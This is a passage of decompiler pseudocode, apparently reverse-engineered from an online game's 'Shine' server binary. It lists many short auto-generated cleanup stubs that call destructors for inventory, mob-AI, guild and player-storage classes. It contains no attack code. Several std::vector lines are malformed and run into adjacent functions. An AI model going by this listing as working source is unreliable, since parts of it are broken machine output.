-------------------------------------------------------- void __usercall _L161883(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (0058A0F0) -------------------------------------------------------- void __usercall _L162189(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058A110) -------------------------------------------------------- void __usercall _L162281(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0058A118) -------------------------------------------------------- void __usercall _L162282(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (0058A120) -------------------------------------------------------- void __usercall _L162283(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 64)); } //----- (0058A140) -------------------------------------------------------- void __usercall _L162423(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0058A148) -------------------------------------------------------- void __usercall _L162424(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 44)); } //----- (0058A150) -------------------------------------------------------- void __usercall _L162425(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 68)); } //----- (0058A170) -------------------------------------------------------- void __usercall _L162560_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 + 4)); } //----- (0058A190) -------------------------------------------------------- void __usercall _L162653(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 388)); } //----- (0058A19B) -------------------------------------------------------- void __usercall _L162654(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (0058A1A6) -------------------------------------------------------- void __usercall _L162729(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 412)); } //----- (0058A1C0) -------------------------------------------------------- void __usercall _L166528(int a1) { ItemEquipment::_ItemEquipment(*(ItemEquipment **)(a1 - 16)); } //----- (0058A1C8) -------------------------------------------------------- void __usercall _L166529(int a1) { ItemInventory::_ItemInventory((ItemInventory *)(*(_DWORD *)(a1 - 16) + 3368)); } //----- (0058A1D6) -------------------------------------------------------- void __usercall _L166530(int a1) { ItemQuestItemBox::_ItemQuestItemBox((ItemQuestItemBox *)(*(_DWORD *)(a1 - 16) + 20076)); } //----- (0058A1E4) -------------------------------------------------------- void __usercall _L166531(int a1) { ItemMiniHouseBox::_ItemMiniHouseBox((ItemMiniHouseBox *)(*(_DWORD *)(a1 - 16) + 20660)); } //----- (0058A200) -------------------------------------------------------- void __usercall _L166579(int a1) { NPCAction::DieAction::_DieAction(*(SlantedCoordList::ObjectYCoordNode **)(a1 - 16)); } //----- (0058A208) -------------------------------------------------------- void __usercall _L166580(int a1) { NPCAction::DieAction::_DieAction((SlantedCoordList::ObjectYCoordNode *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0058A213) -------------------------------------------------------- void __usercall _L166581(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (0058A230) -------------------------------------------------------- void __usercall _L168750(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0058A250) -------------------------------------------------------- void __usercall _L166839(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 16)); } //----- (0058A270) -------------------------------------------------------- void __usercall _L167321(int a1) { CharacterInventory::_CharacterInventory(*(CharacterInventory **)(a1 - 16)); } //----- (0058A290) -------------------------------------------------------- void __usercall _L167344(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0058A29B) -------------------------------------------------------- void __usercall _L167345(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 20)); } //----- (0058A2B0) -------------------------------------------------------- void __usercall _L167383(int a1) { StreetBoothSell::_StreetBoothSell((StreetBoothSell *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0058A2D0) -------------------------------------------------------- void __usercall _L167481(int a1) { ItemFurnicherBox::_ItemFurnicherBox((ItemFurnicherBox *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0058A2DB) -------------------------------------------------------- void __usercall _L167482(int a1) { ItemFurnicherBox::_ItemFurnicherBox((ItemFurnicherBox *)(*(_DWORD *)(a1 - 16) + 11376)); } //----- (0058A2E9) -------------------------------------------------------- void __usercall _L167483(int a1) { ItemFurnicherBox::_ItemFurnicherBox((ItemFurnicherBox *)(*(_DWORD *)(a1 - 16) + 22748)); } //----- (0058A310) -------------------------------------------------------- void __usercall _L167538(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain(*(MobTacticElement::MobActionNoBrain **)(a1 - 16)); } //----- (0058A318) -------------------------------------------------------- void __usercall _L167539(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0058A323) -------------------------------------------------------- void __usercall _L167540(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (0058A32E) -------------------------------------------------------- void __usercall _L167541(int a1) { MobTacticElement::MobActionWander::_MobActionWander((MobTacticElement::MobActionWander *)(*(_DWORD *)(a1 - 16) + 40)); } //----- (0058A339) -------------------------------------------------------- void __usercall _L167542(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (0058A344) -------------------------------------------------------- void __usercall _L167543(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 80)); } //----- (0058A34F) -------------------------------------------------------- void __usercall _L167544(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 88)); } //----- (0058A35A) -------------------------------------------------------- void __usercall _L167545(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 100)); } //----- (0058A365) -------------------------------------------------------- void __usercall _L167546(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 108)); } //----- (0058A370) -------------------------------------------------------- void __usercall _L167547(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)(*(_DWORD *)(a1 - 16) + 124)); } //----- (0058A390) -------------------------------------------------------- unsigned int __cdecl _L168781() { unsigned int result; // eax@1 result = _S51_4 & 0xFFFFFFFE; _S51_4 &= 0xFFFFFFFEu; return result; } //----- (0058A3B0) -------------------------------------------------------- void __usercall _L169086(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058A3D0) -------------------------------------------------------- void __usercall _L169289(int a1) { ShineObjectClass::ShineObject::_ShineObject(*(_DWORD *)(a1 - 16)); } //----- (0058A3D8) -------------------------------------------------------- void __usercall _L169290(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 140)); } //----- (0058A3E6) -------------------------------------------------------- void __usercall _L169291(int a1) { ShineObjectClass::ShineMobileObject::AS::_AS((ShineObjectClass::ShineMobileObject::AS *)(*(_DWORD *)(a1 - 16) + 204)); } //----- (0058A3F4) -------------------------------------------------------- void __usercall _L169292(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 3736)); } //----- (0058A402) -------------------------------------------------------- void __usercall _L169293(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 4008)); } //----- (0058A420) -------------------------------------------------------- void __usercall _L169544(int a1) { ShineObjectClass::ShineObject::_ShineObject(*(_DWORD *)(a1 - 16)); } //----- (0058A428) -------------------------------------------------------- void __usercall _L169545(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 140)); } //----- (0058A436) -------------------------------------------------------- void __usercall _L169546(int a1) { ShineObjectClass::ShineMobileObject::AS::_AS((ShineObjectClass::ShineMobileObject::AS *)(*(_DWORD *)(a1 - 16) + 204)); } //----- (0058A444) -------------------------------------------------------- void __usercall _L169547(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 3736)); } //----- (0058A460) -------------------------------------------------------- void __usercall _L169602(int a1) { MobTargetAggresive::_MobTargetAggresive(*(MobTargetAggresive **)(a1 - 16)); } //----- (0058A480) -------------------------------------------------------- void __usercall _L170680(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (0058A4A0) -------------------------------------------------------- void __usercall _L170728(int a1) { ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(_DWORD *)(a1 - 16)); } //----- (0058A4C0) -------------------------------------------------------- void __usercall _L170904(int a1) { MobAggroManager::_MobAggroManager(*(MobAggroManager **)(a1 - 16)); } //----- (0058A4C8) -------------------------------------------------------- void __usercall _L170905(int a1) { MobTargetBout::_MobTargetBout((MobTargetNoBrain *)(*(_DWORD *)(a1 - 16) + 344)); } //----- (0058A4D6) -------------------------------------------------------- void __usercall _L170906(int a1) { MobTargetAggresive::_MobTargetAggresive((MobTargetAggresive *)(*(_DWORD *)(a1 - 16) + 368)); } //----- (0058A4E4) -------------------------------------------------------- void __usercall _L170907_0(int a1) { MobTargetBout::_MobTargetBout((MobTargetNoBrain *)(*(_DWORD *)(a1 - 16) + 424)); } //----- (0058A4F2) -------------------------------------------------------- void __usercall _L170908(int a1) { MobTargetAggresive2::_MobTargetAggresive2((MobTargetAggresive2 *)(*(_DWORD *)(a1 - 16) + 448)); } //----- (0058A500) -------------------------------------------------------- void __usercall _L170909(int a1) { MobTargetAggresiveALL::_MobTargetAggresiveALL((MobTargetAggresiveALL *)(*(_DWORD *)(a1 - 16) + 504)); } //----- (0058A520) -------------------------------------------------------- void __usercall _L171333(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0058A528) -------------------------------------------------------- void __usercall _L171334(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (0058A533) -------------------------------------------------------- void __usercall _L171335(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 100)); } //----- (0058A53E) -------------------------------------------------------- void __usercall _L171336(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 132)); } //----- (0058A54C) -------------------------------------------------------- void __usercall _L171337(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 164)); } //----- (0058A55A) -------------------------------------------------------- void __usercall _L171338(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 196)); } //----- (0058A568) -------------------------------------------------------- void __usercall _L171339(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 228)); } //----- (0058A576) -------------------------------------------------------- void __usercall _L171340(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 260)); } //----- (0058A584) -------------------------------------------------------- void __usercall _L171341(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 292)); } //----- (0058A592) -------------------------------------------------------- void __usercall _L171342(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 324)); } //----- (0058A5A0) -------------------------------------------------------- void __usercall _L171343(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 356)); } //----- (0058A5AE) -------------------------------------------------------- void __usercall _L171344(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 388)); } //----- (0058A5D0) -------------------------------------------------------- void __usercall _L171600(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058A5D8) -------------------------------------------------------- void __usercall _L171601(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (0058A5F0) -------------------------------------------------------- void __usercall _L171849(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058A5F8) -------------------------------------------------------- void __usercall _L171850(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (0058A610) -------------------------------------------------------- void __usercall _L172242(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0058A630) -------------------------------------------------------- void __usercall _L173043(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058A638) -------------------------------------------------------- unsigned int __cdecl _L173044() { unsigned int result; // eax@1 result = _S96_1 & 0xFFFFFFFE; _S96_1 &= 0xFFFFFFFEu; return result; } //----- (0058A650) -------------------------------------------------------- void __usercall _L173269(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0058A670) -------------------------------------------------------- void __usercall _L173548(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0058A690) -------------------------------------------------------- void __usercall _L174231(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058A6B0) -------------------------------------------------------- void __usercall _L174395(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058A6B8) -------------------------------------------------------- void __usercall _L174396(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058A6D0) -------------------------------------------------------- void __usercall _L174446(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058A6D8) -------------------------------------------------------- void __usercall _L174447(int a1) { AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp((AxialListPacketBroadcast4ItemPickUp *)(a1 - 24)); } //----- (0058A6F0) -------------------------------------------------------- void __usercall _L174773(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058A6F8) -------------------------------------------------------- void __usercall _L174774(int a1) { BroadcastEventPopper::_BroadcastEventPopper((BroadcastEventPopper *)(a1 - 20)); } //----- (0058A710) -------------------------------------------------------- void __usercall _L175776(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058A71B) -------------------------------------------------------- void __usercall _L175777(int a1) { BroadcastEventPopper::_BroadcastEventPopper((BroadcastEventPopper *)(a1 - 296)); } //----- (0058A730) -------------------------------------------------------- void __usercall _L176687_0(int a1) { ShineObjectClass::ShineObject::_ShineObject(*(_DWORD *)(a1 - 16)); } //----- (0058A738) -------------------------------------------------------- void __usercall _L176688_0(int a1) { ShineObjectClass::ShineMiniHouse::MiniHouseInven::_MiniHouseInven((ShineObjectClass::ShineMiniHouse::MiniHouseInven *)(*(_DWORD *)(a1 - 16) + 1220)); } //----- (0058A750) -------------------------------------------------------- void __usercall _L176758(int a1) { MobTacticElement::MobActionArgument::Selector::_Selector((MobTacticElement::MobActionArgument::Selector *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0058A770) -------------------------------------------------------- void __usercall _L177425(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058A790) -------------------------------------------------------- void __usercall _L177615(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058A798) -------------------------------------------------------- void __usercall _L177636_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058A7B0) -------------------------------------------------------- void __usercall _L179023(int a1) { ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(_DWORD *)(a1 - 16)); } //----- (0058A7B8) -------------------------------------------------------- void __usercall _L179024(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7432)); } //----- (0058A7C6) -------------------------------------------------------- void __usercall _L179025(int a1) { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(*(_DWORD *)(a1 - 16) + 7440)); } //----- (0058A7D4) -------------------------------------------------------- void __usercall _L179026(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7452)); } //----- (0058A7E2) -------------------------------------------------------- void __usercall _L179027(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { MobTacticElement::MobActionArgument::_MobActionArgument((MobTacticElement::MobActionArgument *)(*(_DWORD *)(a1 - 16) + 7624)); } //----- (0058A810) -------------------------------------------------------- void __usercall _L179310(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 28)); } //----- (0058A830) -------------------------------------------------------- void __usercall _L179587(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0058A838) -------------------------------------------------------- void __usercall _L179588(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (0058A843) -------------------------------------------------------- void __usercall _L179589(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 100)); } //----- (0058A84E) -------------------------------------------------------- void __usercall _L179590(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 132)); } //----- (0058A85C) -------------------------------------------------------- void __usercall _L179591(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 164)); } //----- (0058A86A) -------------------------------------------------------- void __usercall _L179592(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 196)); } //----- (0058A878) -------------------------------------------------------- void __usercall _L179593(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 228)); } //----- (0058A886) -------------------------------------------------------- void __usercall _L179594(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 260)); } //----- (0058A894) -------------------------------------------------------- void __usercall _L179595(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 292)); } //----- (0058A8A2) -------------------------------------------------------- void __usercall _L179596(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 324)); } //----- (0058A8B0) -------------------------------------------------------- void __usercall _L179597(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 356)); } //----- (0058A8D0) -------------------------------------------------------- void __usercall _L180122(int a1) { ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(_DWORD *)(a1 - 20)); } //----- (0058A8D8) -------------------------------------------------------- void __usercall _L180123(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 7436)); } //----- (0058A8E6) -------------------------------------------------------- void __usercall _L180124(int a1) { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(*(_DWORD *)(a1 - 20) + 23660)); } //----- (0058A8F4) -------------------------------------------------------- void __usercall _L180125(int a1) { ShineObjectClass::ShinePlayer::SocketStream::_SocketStream((ShineObjectClass::ShinePlayer::SocketStream *)(*(_DWORD *)(a1 - 20) + 23668)); } //----- (0058A902) -------------------------------------------------------- void __usercall _L180126(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 31880)); } //----- (0058A910) -------------------------------------------------------- void __usercall _L180127(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 32051)); } //----- (0058A91E) -------------------------------------------------------- void __usercall _L180128(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 32052)); } //----- (0058A92C) -------------------------------------------------------- void __usercall _L180129(int a1) { ShineObjectClass::ShinePlayer::__unnamed::___unnamed((void *)(*(_DWORD *)(a1 - 20) + 32200)); } //----- (0058A93A) -------------------------------------------------------- void __usercall _L180130(int a1) { ShineQuestDiary::_ShineQuestDiary((ShineQuestDiary *)(*(_DWORD *)(a1 - 20) + 66048)); } //----- (0058A948) -------------------------------------------------------- void __usercall _L180131(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { TreasureChestLocationManager::_TreasureChestLocationManager((CharacterPassiveList *)(*(_DWORD *)(a1 - 20) + 68260)); } //----- (0058A964) -------------------------------------------------------- void __usercall _L180133(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 68295)); } //----- (0058A972) -------------------------------------------------------- void __usercall _L180134(int a1) { ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess((ShineObjectClass::ShinePlayer::NPCProcess *)(*(_DWORD *)(a1 - 20) + 68324)); } //----- (0058A980) -------------------------------------------------------- void __usercall _L180135(int a1) { ShineObjectClass::ShinePlayer::AccountStorage::_AccountStorage((ShineObjectClass::ShinePlayer::AccountStorage *)(*(_DWORD *)(a1 - 20) + 69440)); } //----- (0058A98E) -------------------------------------------------------- void __usercall _L180136(int a1) { ItemRewardStorage::_ItemRewardStorage((ItemRewardStorage *)(*(_DWORD *)(a1 - 20) + 86160)); } //----- (0058A99C) -------------------------------------------------------- void __usercall _L180137(int a1) { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(*(_DWORD *)(a1 - 20) + 89040)); } //----- (0058A9AA) -------------------------------------------------------- void __usercall _L180138(int a1) { TreasureChestLocationManager::_TreasureChestLocationManager((CharacterPassiveList *)(*(_DWORD *)(a1 - 20) + 89166)); } //----- (0058A9B8) -------------------------------------------------------- void __usercall _L180139(int a1) { ShineObjectClass::ShinePlayer::BoothSell::_BoothSell((ShineObjectClass::ShinePlayer::BoothSell *)(*(_DWORD *)(a1 - 20) + 89184)); } //----- (0058A9C6) -------------------------------------------------------- void __usercall _L180140(int a1) { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(*(_DWORD *)(a1 - 20) + 89936)); } //----- (0058A9D4) -------------------------------------------------------- void __usercall _L180141(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 91036)); } //----- (0058A9E2) -------------------------------------------------------- void __usercall _L180142(int a1) { ChargedItemEffectList::ChargedItem::_ChargedItem((ChargedItemEffectList::ChargedItem *)(*(_DWORD *)(a1 - 20) + 91064)); } //----- (0058A9F0) -------------------------------------------------------- void __usercall _L180143(int a1) { ShineObjectClass::ShinePlayer::ChargedInven::_ChargedInven((ShineObjectClass::ShinePlayer::ChargedInven *)(*(_DWORD *)(a1 - 20) + 91724)); } //----- (0058A9FE) -------------------------------------------------------- void __usercall _L180144(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 92152)); } //----- (0058AA0C) -------------------------------------------------------- void __usercall _L180145(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 92153)); } //----- (0058AA1A) -------------------------------------------------------- void __usercall _L180146(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 92156)); } //----- (0058AA28) -------------------------------------------------------- void __usercall _L180147(int a1) { List::_List((ItemLotAnalyser::LotAnalyser *)(*(_DWORD *)(a1 - 20) + 92192)); } //----- (0058AA36) -------------------------------------------------------- void __usercall _L180148(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 20) + 92552)); } //----- (0058AA44) -------------------------------------------------------- void __usercall _L180151(int a1) { MobTargetAggresive::_MobTargetAggresive(*(MobTargetAggresive **)(a1 - 16)); } //----- (0058AA60) -------------------------------------------------------- void __usercall _L181165(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058AA80) -------------------------------------------------------- void __usercall _L181605(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058AAC0) -------------------------------------------------------- void __usercall _L182758(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058AAC8) -------------------------------------------------------- void __usercall _L182759(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 32)); } //----- (0058AAE0) -------------------------------------------------------- void __usercall _L183331(int a1) { ShineObjectClass::ShineObject::_ShineObject(*(_DWORD *)(a1 - 16)); } //----- (0058AB00) -------------------------------------------------------- void __usercall _L183433(int a1) { ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(_DWORD *)(a1 - 16)); } //----- (0058AB08) -------------------------------------------------------- void __usercall _L183434(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7436)); } //----- (0058AB16) -------------------------------------------------------- void __usercall _L183435(int a1) { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(*(_DWORD *)(a1 - 16) + 23660)); } //----- (0058AB24) -------------------------------------------------------- void __usercall _L183436(int a1) { ShineObjectClass::ShinePlayer::SocketStream::_SocketStream((ShineObjectClass::ShinePlayer::SocketStream *)(*(_DWORD *)(a1 - 16) + 23668)); } //----- (0058AB32) -------------------------------------------------------- void __usercall _L183437(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 31880)); } //----- (0058AB40) -------------------------------------------------------- void __usercall _L183438(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 32051)); } //----- (0058AB4E) -------------------------------------------------------- void __usercall _L183439(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 32052)); } //----- (0058AB5C) -------------------------------------------------------- void __usercall _L183559(int a1) { CharacterInventory::_CharacterInventory(*(CharacterInventory **)(a1 - 20)); } //----- (0058AB64) -------------------------------------------------------- void __usercall _L183440(int a1) { ShineObjectClass::ShinePlayer::__unnamed::___unnamed((void *)(*(_DWORD *)(a1 - 16) + 32200)); } //----- (0058AB72) -------------------------------------------------------- void __usercall _L183441(int a1) { ShineQuestDiary::_ShineQuestDiary((ShineQuestDiary *)(*(_DWORD *)(a1 - 16) + 66048)); } //----- (0058AB80) -------------------------------------------------------- void __usercall _L183442(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { TreasureChestLocationManager::_TreasureChestLocationManager((CharacterPassiveList *)(*(_DWORD *)(a1 - 16) + 68260)); } //----- (0058AB9C) -------------------------------------------------------- void __usercall _L183444(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 68295)); } //----- (0058ABAA) -------------------------------------------------------- void __usercall _L183445(int a1) { ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess((ShineObjectClass::ShinePlayer::NPCProcess *)(*(_DWORD *)(a1 - 16) + 68324)); } //----- (0058ABB8) -------------------------------------------------------- void __usercall _L183446(int a1) { ShineObjectClass::ShinePlayer::AccountStorage::_AccountStorage((ShineObjectClass::ShinePlayer::AccountStorage *)(*(_DWORD *)(a1 - 16) + 69440)); } //----- (0058ABC6) -------------------------------------------------------- void __usercall _L183447(int a1) { ItemRewardStorage::_ItemRewardStorage((ItemRewardStorage *)(*(_DWORD *)(a1 - 16) + 86160)); } //----- (0058ABD4) -------------------------------------------------------- void __usercall _L183448(int a1) { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(*(_DWORD *)(a1 - 16) + 89040)); } //----- (0058ABE2) -------------------------------------------------------- void __usercall _L183449(int a1) { 